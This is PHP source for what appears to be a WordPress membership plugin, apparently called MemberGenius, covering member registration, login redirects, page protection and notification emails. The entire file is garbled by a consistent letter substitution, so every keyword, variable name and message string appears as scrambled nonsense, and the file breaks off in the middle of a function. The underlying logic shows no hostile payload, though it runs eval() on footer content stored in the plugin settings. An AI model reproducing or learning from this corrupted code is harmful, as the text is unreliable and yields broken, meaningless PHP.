nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU QumUWqyq _B(QTPMGU$lEtxm BzxnmoFmxrsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QplrmUQzmUQumU/mCQzmUY QumU/moQzmUY QumU/mErChQzmUY QumU/mFEuBQzmUYY QumUWqyqY xA (Vxn_FCtxs() QFtqUQFtqU VxnnBm(S_ b&;b$#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU Drlsm(S_01$#) == P): WQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y //CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_oBzxnmoFmxrsQplrmU).nmhuB.CxnquFh=QplrmUsrsBQplrmUUY // --QzmUY QumU/nDoxqmQzmUY QumUWqyq BsCxAU WQzmUYY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y QumUWqyq xA (xn_FCtxs()): WQzmUCrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_qFnnjroCNQplrmU).nmhuB.CxnquFh=QplrmUsrsBQplrmUUQumUWqyq BsCxAU WQzmUYY AlsDmxrs tBtEBozBsxln_nlzzBnm() {Y kFo lnBosFtB = CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_lnBosFtBQplrmU)UY kFo AxonmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_AxonmsFtBQplrmU)UY kFo uFnmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_uFnmsFtBQplrmU)UYY xA (VlnBosFtB || lnBosFtB.kFulB == lsCBAxsBC || VAxonmsFtB || AxonmsFtB.kFulB == lsCBAxsBC || VuFnmsFtB || uFnmsFtB.kFulB == lsCBAxsBC) {Y oBmlosUY }YY kFo tFmDyBn = lnBosFtB.kFulB.nquxm(QplrmU QplrmU)UY xA (VtFmDyBn || VtFmDyBn.uBszmy || tFmDyBn.uBszmy V= N) { oBmlosU }Y xA (VtFmDyBn[P].tFmDy(/^[f-<]+S/x) || VtFmDyBn[O].tFmDy(/^[f-<]+S/x)) { oBmlosU }Y xA (AxonmsFtB.kFulB V= QplrmUQplrmU || uFnmsFtB.kFulB V= QplrmUQplrmU) { oBmlosU }YY AxonmsFtB.kFulB = tFmDyBn[P]UY uFnmsFtB.kFulB = tFmDyBn[O]UY }Y // --QzmUY QumU/nDoxqmQzmUYY QumU/CxkQzmUY QumUWqyq BsCxAU WQzmUY Y QumU/ArotQzmUY QumUWqyqY xA (Vxn_FCtxs()) { xA (SzurEFuarrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(-O, QplrmUArrmBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SzurEFuarrmBo).QTPMGU QumUWqyq QTPMGU )U } xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c) QFtqUQFtqU (SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c, QplrmUArrmBoQplrmU))) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SArrmBo).QTPMGU QumUWqyq QTPMGU )U } } WQzmUY QumUWqyqY } qlEuxD AlsDmxrs DoBFmB(SkFon=sluu, SFqx=AFunB) { zurEFu StBtEBozBsxlnU SsrmxAh = molBU SoBCxoBDm = molBU xA (SFqx) { SoBCxoBDm = AFunBU } xA (SkFon==sluu) { xA (VSFqx QFtqUQFtqU Vxn_FCtxs() QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU) QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { lsnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { xA (nmoqrn(SvBh, QplrmUnrDxFu_QplrmU) === P) { lsnBm(S_01$#[SvBh])U } } SkFon = S_01$#U } xA (VxnnBm(SkFon[QplrmUFDmxrsQplrmU])) { oBmlosU } xA (SkFon[QplrmUFDmxrsQplrmU] V= QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { oBmlos FooFh(QplrmUBooroQplrmU, sBj ?0_booro(QplrmUxskFuxC_FDmxrsQplrmU, QplrmU2rm F kFuxC FDmxrsQplrmU))U } BimoFDm(3BtEBo9Bsxln::BimoFDm(SkFon))U SkFuxCFmB = 3BtEBo9Bsxln::kFuxCFmB(SkFon)U SuBkBu = sluuU xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SuBkBu = xsmkFu(SkFon[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } BunBxA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo#Btq) QFtqUQFtqU StBtEBozBsxln-QzmUoBzxnmBo#Btq) { SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(StBtEBozBsxln-QzmUoBzxnmBo#Btq)U xA (SmBtq QFtqUQFtqU xnnBm(SmBtq-QzmUuBkBu_xC)) { SuBkBu = xsmkFu(SmBtq-QzmUuBkBu_xC)U } } BunBxA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu) QFtqUQFtqU xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c)) { SuBkBu = StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7cU } BunBxA (SoBplBnm = StBtEBozBsxln-QzmUyFny BplBnm()) { xA (SoBzxnmBo4BkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SoBplBnm)) { SuBkBu = SoBzxnmBo4BkBu-QzmU7cU } } SBixnmxsz = (xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == O)U xA (VSBixnmxsz QFtqUQFtqU SkFuxCFmB[QplrmUqFnnQplrmU] == AFunB) { xA (SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUxsDrooBDm_qFnnjroCQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC Fs xsDrooBDm qFnnjroC.QplrmU))U } xA (SkFuxCFmB[QplrmUAxonmsFtBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_AxonmsFtBQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC Axonm sFtB.QplrmU))U } xA (SkFuxCFmB[QplrmUuFnmsFtBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_uFnmsFtBQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC uFnm sFtB.QplrmU))U } xA (SkFuxCFmB[QplrmUBtFxuQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_BtFxuQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC BtFxu FCCoBnn.QplrmU))U } xA (SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUlnBo_BixnmnQplrmU, QplrmU#yFm lnBosFtB FuoBFCh Bixnmn, quBFnB moh FsrmyBo.QplrmU))U } xA (SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUBtFxu_BixnmnQplrmU, QplrmU#yFm BtFxu FCCoBnn FuoBFCh Bixnmn, quBFnB moh FsrmyBo.QplrmU))U } oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUxsDrtquBmBQplrmU, QplrmU0uBFnB Axuu rlm myB BsmxoB oBzxnmoFmxrs Arot.QplrmU))U } xA (SuBkBu == sluu || Vxn_sltBoxD(SuBkBu)) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUoBzxnmBo_uBkBuQplrmU, QplrmU7skFuxC oBzxnmoFmxrs uBkBu: QplrmU.SuBkBu))U } Smis = sluuU xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo#Btq) QFtqUQFtqU StBtEBozBsxln-QzmUoBzxnmBo#Btq) { Smis = StBtEBozBsxln-QzmUoBzxnmBo#BtqU } BunBxA (xnnBm(SkFon[QplrmUtBtEBozBsxln_mBtqQplrmU]) QFtqUQFtqU SkFon[QplrmUtBtEBozBsxln_mBtqQplrmU]) { Smis = SkFon[QplrmUtBtEBozBsxln_mBtqQplrmU]U } xA (SlnBo = zBm_lnBo_Eh(QplrmUurzxsQplrmU, SlnBosFtB)) { SDyBDv_qFnnjroC = jq_DyBDv_qFnnjroC(SqFnnjroCO, SlnBo-QzmUCFmF-QzmUlnBo_qFnn, SlnBo-QzmU7c)U StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo-QzmU7c, SuBkBu, Smis)U StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB#Btq(Smis)U xA (SDyBDvqFnnjroC QFtqUQFtqU Vxn_FCtxs() QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) QFtqUQFtqU SoBCxoBDm) { jq_nxzsrs(FooFh(QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_qFnnjroCQTPMGU =QzmU SqFnnjroCO, QTPMGUoBtBtEBoQTPMGU =QzmU molB), (xn_nnu()WmolB:AFunB) )U jq_oBCxoBDm(yrtB_lou())U } oBmlos xsmkFu(SlnBo-QzmU7c)U } xA (Vxn_BtFxu(SBtFxu)) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_BtFxuQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC BtFxu FCCoBnn.QplrmU))U } SsBj;nBo = jq_xsnBom_lnBo(FooFh( QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_qFnnQTPMGU =QzmU SqFnnjroCO, QTPMGUlnBo_BtFxuQTPMGU =QzmU SBtFxu, QTPMGUAxonm_sFtBQTPMGU =QzmU SAxonmsFtB, QTPMGUuFnm_sFtBQTPMGU =QzmU SuFnmsFtB, QTPMGUoruBQTPMGU =QzmU QTPMGUnlEnDoxEBoQTPMGU ))U xA (xn_jq_Booro(SsBj;nBo)) { oBmlos SsBj;nBoU } lqCFmB_lnBo_tBmF(SsBj;nBo, QplrmUAxonm_sFtBQplrmU, SAxonmsFtB)U lqCFmB_lnBo_tBmF(SsBj;nBo, QplrmUuFnm_sFtBQplrmU, SuFnmsFtB)U AroBFDy (SkFon Fn SvBh=QzmUSkFulB) { xA (nmoqrn(SvBh, QplrmUnrDxFu_QplrmU) === P) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SsBj;nBo, SvBh, SkFulB)U } } StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SsBj;nBo, SuBkBu, Smis)U xA (xnnBm(SmBtq) QFtqUQFtqU xnnBm(SmBtq-QzmUuBkBu_nmFmln) QFtqUQFtqU SmBtq-QzmUuBkBu_nmFmln == QplrmUdQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SsBj;nBo, SuBkBu)U } StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB#Btq(Smis)U SyBFCBon = QTPMGUaort: QTPMGU.zBm_rqmxrs(QplrmUEurzsFtBQplrmU).QTPMGU QumUQTPMGU.zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU) .QTPMGUQzmUQTPMGU . QplrmU\o\sQplrmUU SyrtB = yrtB_lou(QplrmU/urzxsQplrmU)U StBnnFzB = QplrmUf sBj tBtEBo yFn oBzxnmBoBC jxmy myB Aruurjxsz xsAr:\o\s\o\s?BEnxmB: QplrmU.SyrtB.QplrmU\o\s;nBosFtB: QplrmU.SlnBosFtB.QplrmU\o\s\o\sbtFxu: QplrmU.SBtFxu.QplrmU\o\saxonm 2FtB: QplrmU.SAxonmsFtB.QplrmU\o\s4Fnm 2FtB: QplrmU.SuFnmsFtB.QplrmU\o\sQplrmUU StBnnFzB .= QplrmU70 fCCoBnn: QplrmU.S_$b !b [QplrmU b31#b_fcc QplrmU].QplrmU\o\sQplrmUU StBnnFzB .= QplrmU\o\sQplrmUU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U xA (SuBkBun QFtqUQFtqU xn_FooFh(SuBkBun) QFtqUQFtqU Drlsm(SuBkBun) QzmU P QFtqUQFtqU xnnBm(SuBkBun[SuBkBu])) { SmyB4BkBu = SuBkBun[SuBkBu]U StBnnFzB .= QplrmU4BkBu: QplrmU.SmyB4BkBu-QzmUuBkBu_sFtB.QplrmU\o\sQplrmUU StBnnFzB .= QplrmU#rmFu 3BtEBon rs 4BkBu: QplrmU.xsmkFu(SmyB4BkBu-QzmUFDmxkB).QplrmU\o\sQplrmUU } StBnnFzB .= QplrmU\o\s0rjBoBC Eh 3BtEBo 9Bsxln: ymmq://jjj.tBtEBozBsxln.DrtQplrmUU jq_tFxu(zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU), Smyxn-QzmUnlEwBDm(QplrmUf 2Bj 3BtEBo yFn BzxnmBoBCQplrmU), StBnnFzB, SyBFCBon)U StBnnFzB = QplrmUQplrmUU xA (xn_FCtxs()) { StBnnFzB = QplrmU?B yFkB oBzxnmBoBC hrl jxmy myB Aruurjxsz xsAr:QplrmUU } BunB { StBnnFzB = Dyo(HG).QplrmUrl yFkB oBzxnmBoBC jxmy myB Aruurjxsz xsAr:QplrmUU } StBnnFzB .= QplrmU\o\s\o\s?BEnxmB: QplrmU.SyrtB.QplrmU\o\s;nBosFtB: QplrmU.SlnBosFtB.QplrmU\o\sQplrmUU xA (xn_FCtxs()) { StBnnFzB .= QplrmU0FnnjroC: QplrmU . SqFnnjroCO . QplrmU\o\sQplrmUU } StBnnFzB .= QplrmU\o\sbtFxu: QplrmU.SBtFxu.QplrmU\o\saxonm 2FtB: QplrmU.SAxonmsFtB.QplrmU\o\s4Fnm 2FtB: QplrmU.SuFnmsFtB.QplrmU\o\s\o\sQplrmUU xA (SFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU)) { Suxsv = QplrmUymmq://jjj.tBtEBozBsxln.DrtQplrmUU xA (SFAAxuxFmB = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU)) { Suxsv = QplrmUymmq://tBtEBozBsxln.Drt/39/WB=QplrmU.SFAAxuxFmBU } StBnnFzB .= QplrmU0rjBoBC Eh 3BtEBo 9Bsxln: SuxsvQplrmUU } xA (SsrmxAh) { jq_tFxu(SBtFxu, Smyxn-QzmUnlEwBDm(Dyo(HG).QplrmUrlo BzxnmoFmxrs 7sArQplrmU), StBnnFzB, SyBFCBon)U } xA (xn_FCtxs()) { oBmlos xsmkFu(SsBj;nBo)U } BunBxA (SoBCxoBDm) { xA (DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { Smyxn-QzmUtFhEB BCxoBDm()U } BunB { jq_nxzsrs(FooFh(QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_qFnnjroCQTPMGU =QzmU SqFnnjroCO, QTPMGUoBtBtEBoQTPMGU =QzmU molB), (xn_nnu()WmolB:AFunB))U SuBkBu7sAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SuBkBu)U xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU (SoBCxoBDm = zBm_qBotFuxsv(xsmkFu(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo)))) { jq_oBCxoBDm(SoBCxoBDm)U CxB()U } BunB { jq_oBCxoBDm(yrtB_lou())U CxB()U } } oBmlos xsmkFu(SsBj;nBo)U } xA (xn_jq_Booro(SsBj;nBo)) { oBmlos SsBj;nBoU } oBmlos PU } qlEuxD AlsDmxrs nlEwBDm(SmBim) { SEurzsFtB = zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U xA (SEurzsFtB) { SqoBAxi = SEurzsFtBU } BunB { SqFonB = qFonB_lou(yrtB_lou())U xA (xnnBm(SqFonB[QplrmUyrnmQplrmU])) { SqoBAxi = moFxuxsznuFnyxm(SqFonB[QplrmUyrnmQplrmU]).moxt(SqFonB[QplrmUqFmyQplrmU], QplrmU/QplrmU)U } } xA (SqoBAxi V= QplrmUQplrmU) { oBmlos SqoBAxi . QplrmU: QplrmU . SmBimU } oBmlos SmBimU } qlEuxD nmFmxD AlsDmxrs mBimEri(SsFtB, SkFulB=QplrmUQplrmU) { xA (zBm_rqmxrs(SsFtB)) { SkFulB = zBm_rqmxrs(SsFtB)U } WQzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUQumUWqyq BDyr SsFtB WQzmUQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr SkFulB WQzmUQplrmU /QzmUY QumUWqyqY } qlEuxD nmFmxD AlsDmxrs mBimFoBF(SsFtB, SkFulB=QplrmUQplrmU) { xA (zBm_rqmxrs(SsFtB)) { SkFulB = zBm_rqmxrs(SsFtB)U } WQzmUY QumUmBimFoBF sFtB=QplrmUQumUWqyq BDyr SsFtB WQzmUQplrmU Drun=QplrmUHPQplrmU orjn=QplrmUHQplrmUQzmUQumUWqyq BDyr SkFulB WQzmUQumU/mBimFoBFQzmUY QumUWqyqY } } DuFnn 3BtEBo9Bsxln0ormBDmxrs { qlEuxD SFuurjBCU qlEuxD SqormBDmBC#xmuBU qlEuxD SqormBDmBC4BkBuU qlEuxD AlsDmxrs __DrsnmolDm() { Smyxn-QzmUqormBDmBC#xmuB = QplrmU BzxnmoFmxrs foBFQplrmUU FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxsxmQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUjq_urzxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUFAmBo4rzxsQTPMGU), OPPP, N)U FCC_AxumBo(QTPMGUzBmFoDyxkBn_jyBoBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUjyBoBQTPMGU), OP, N)U FCC_AxumBo(QTPMGUzBmFoDyxkBn_wrxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUwrxsQTPMGU), OP, N)U FCC_AxumBo(QTPMGUqrnmn_zorlqEhQTPMGU, FooFh(QFtqUSmyxn, QTPMGUzorlqehQTPMGU), OP, N)U FCC_AxumBo(QTPMGUqrnmn_jyBoBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUjyBoBQTPMGU), OP, N)U FCC_AxumBo(QTPMGUqrnmn_wrxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUwrxsQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUjq_uxnm_qFzBn_BiDulCBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBiDulCB0FzBaorsmBsCQTPMGU))U FCC_FDmxrs(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBiDulCB0FzBeFDvBsCQTPMGU), OP, O)U FCC_AxumBo(QTPMGUzBm_qFzBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBiDulCB0FzB4xnmQTPMGU), O, N)U FCC_AxumBo(QTPMGUmyB_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrttBsmnQTPMGU))U FCC_AxumBo(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzzBC1lmQTPMGU))U FCC_AxumBo(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzzBC1lm&lBohQTPMGU), N, O)U FCC_AxumBo(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzzBC7sQTPMGU))U FCC_AxumBo(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurz3B1lmQTPMGU))U } qlEuxD AlsDmxrs qFzB BCxoBDm() { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VxnnBm(SDlooBsm_lnBo-QzmU7c)) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny BplBnm()) { oBmlosU } xA (xn_LPL()) { AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c) Fn SuBkBu) { xA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs) { xA (SoBCxoBDm = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_urzxs))) { jq_oBCxoBDm(SoBCxoBDm)U CxB()U } } } } } qlEuxD AlsDmxrs urzzBC1lm&lBoh(SplBoh) { zurEFu StBtEBozBsxlnU zurEFu SqrnmU xA (xn_lnBo_urzzBC_xs()) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny BplBnm()) { oBmlos SplBohU } SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = moxt(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU))U xA (SsrstBtEBo_lou == QplrmUymmq://QplrmU || SsrstBtEBo_lou == QplrmUymmqn://QplrmU) { SsrstBtEBo_lou = QplrmUQplrmUU } xA (SsrstBtEBo_qFzB == P) { xA (SsrstBtEBo_lou) { jq_oBCxoBDm(SsrstBtEBo_lou)U CxB()U } oBmlosU } xA (xnnBm(SplBoh-QzmUplBoxBC_rEwBDm)) { oBmlosU } xA (SplBoh-QzmUxn_yrtB() QFtqUQFtqU SplBoh-QzmUxn_tFxs_plBoh()) { Smyxn-QzmUqFzB#FvBrkBo(SplBoh, SsrstBtEBo_qFzB)U } BunBxA (VxnnBm(SplBoh-QzmUplBoxBC_rEwBDm) QFtqUQFtqU SplBoh-QzmUxn_qFzB()) { Smyxn-QzmUqFzB#FvBrkBo(SplBoh, SsrstBtEBo_qFzB)U } } qoxkFmB AlsDmxrs qFzB#FvBrkBo(QFtqUSplBoh, SxC) { SxC = @xsmkFu(SxC)U SplBoh-QzmUnBm(QTPMGUqrnm_mhqBQTPMGU ,QTPMGUqFzBQTPMGU)U SplBoh-QzmUnBm(QTPMGUqrnm__xsQTPMGU ,FooFh(SxC))U SplBoh-QzmUnBm(QTPMGUqQTPMGU , SxC)U SplBoh-QzmUnBm(QTPMGUqFzB_xCQTPMGU , SxC)U } qlEuxD AlsDmxrs urzzBC7s() { zurEFu Sjq_plBohU zurEFu StBtEBozBsxlnU SqBotFuxsvn = zBm_rqmxrs(QplrmUqBotFuxsv_nmolDmloBQplrmU)U xA (Sjq_plBoh-QzmUzBm(QplrmUsFtBQplrmU) V= QplrmUurzxsQplrmU QFtqUQFtqU VxnnBm(S_9b#[QplrmUurzxsQplrmU])) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny BplBnm()) { oBmlosU } xA (xn_lnBo_urzzBC_xs()) { jq_oBCxoBDm(yrtB_lou())U CxB()U } jq_oBCxoBDm(jq_urzxs_lou(yrtB_lou()))U CxB()U } qlEuxD AlsDmxrs urz3B1lm() { zurEFu Sjq_plBohU zurEFu StBtEBozBsxlnU xA (Sjq_plBoh-QzmUzBm(QplrmUsFtBQplrmU) V= QplrmUurzrlmQplrmU) { oBmlosU } jq_urzrlm()U CxB()U } qlEuxD AlsDmxrs urzzBC1lm() { zurEFu StBtEBozBsxlnU zurEFu SqrnmnU xA (xn_lnBo_urzzBC_xs()) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny BplBnm()) { oBmlosU } SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU)U xA (Vxn_FooFh(Sqrnmn) || Drlsm(Sqrnmn) == P) { xA (SsrstBtEBo_qFzB == P) { jq_oBCxoBDm(jq_urzxs_lou(S_$b !b [QTPMGU b&;b$#_; 7QTPMGU]))U CxB()U } } } qlEuxD AlsDmxrs FAmBo4rzxs(SlnBo_urzxs, SlnBo=sluu) { zurEFu StBtEBozBsxlnU xA (StBtEBozBsxln-QzmUyFny BplBnm()) { oBmlosU } xA (xn_FCtxs() QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlosU } xA (SlnBo == sluu QFtqUQFtqU SlnBo_urzxs) { SlnBo = zBm_lnBo_Eh(QplrmUurzxsQplrmU, SlnBo_urzxs)U } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c) Fn SuBkBu) { xA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs) { xA (SoBCxoBDm = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_urzxs))) { jq_oBCxoBDm(SoBCxoBDm)U CxB()U } } } } qlEuxD AlsDmxrs xsxm() { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (Vxn_FCtxs()) { xA (xn_lnBo_urzzBC_xs()) { Smyxn-QzmUFuurjBC = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmn(SDlooBsm_lnBo-QzmU7c)U Sxq = xqNursz(S_$b !b [QplrmU b31#b_fcc QplrmU])U Surzxsaxonm = xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsaxonmQplrmU))U xA (VSurzxsaxonm) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsaxonmQplrmU, Sxq)U } StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxs4Fnm#xtBQplrmU, mxtB())U Surzxsn = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsnQplrmU)U xA (Vxn_FooFh(Surzxsn)) { Surzxsn = FooFh()U } Surzxsn[Sxq] = mxtB()U Fonrom(Surzxsn)U Surzxsn = FooFh_nuxDB(Surzxsn, P, OP, molB)U StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsnQplrmU, Surzxsn)U } BunB { Smyxn-QzmUFuurjBC = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmfDDBnn(-O)U } } BunB { Smyxn-QzmUFuurjBC = sluuU } } qlEuxD AlsDmxrs jyBoB(SplBoh=QplrmUQplrmU) { xA (xn_FCtxs()) { oBmlos SplBohU } xA (Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SplBohU } xA (SplBoh V= QplrmUQplrmU) { SplBoh .= QplrmU f2c QplrmUU } xA (Drlsm(Smyxn-QzmUFuurjBC) QzmU P) { Snpu = QplrmU7c 72(QplrmU.xtqurCB(Smyxn-QzmUFuurjBC, QplrmU,QplrmU).QplrmU)QplrmUU } BunB { Snpu = QplrmU21# OQplrmUU } SplBoh .= SnpuU oBmlos SplBohU } qlEuxD AlsDmxrs BiDulCB0FzB4xnm(SqFzBn, So) { xA (Vxn_FCtxs()) { oBmlos SqFzBnU } Aro (Sx = PU Sx QumU nxgBrA(SqFzBn)U Sx++) { xA (VxnnBm(SqFzBn[Sx]) || xnnBm(SqFzBn[Sx]-QzmUqrnm_sFtB)) { DrsmxslBU } xA (SqFzBn[Sx]-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { lsnBm(SqFzBn[Sx])U EoBFvU } } oBmlos SqFzBnU } qlEuxD AlsDmxrs BiDulCB0FzBeFDvBsC(SplBoh) { xA (Vxn_FCtxs()) { oBmlos SplBohU } xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { SplBoh-QzmUnBm( QTPMGUqrnm__srm_xsQTPMGU, FooFh( SquFDByruCBo-QzmU7c ) )U } oBmlos SplBohU } qlEuxD AlsDmxrs BiDulCB0FzBaorsmBsC(SqFzBn) { zurEFu SjqCEU xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SqFzBnU } SFuu0FzBn = zBm_Fuu_qFzB_xCn()U 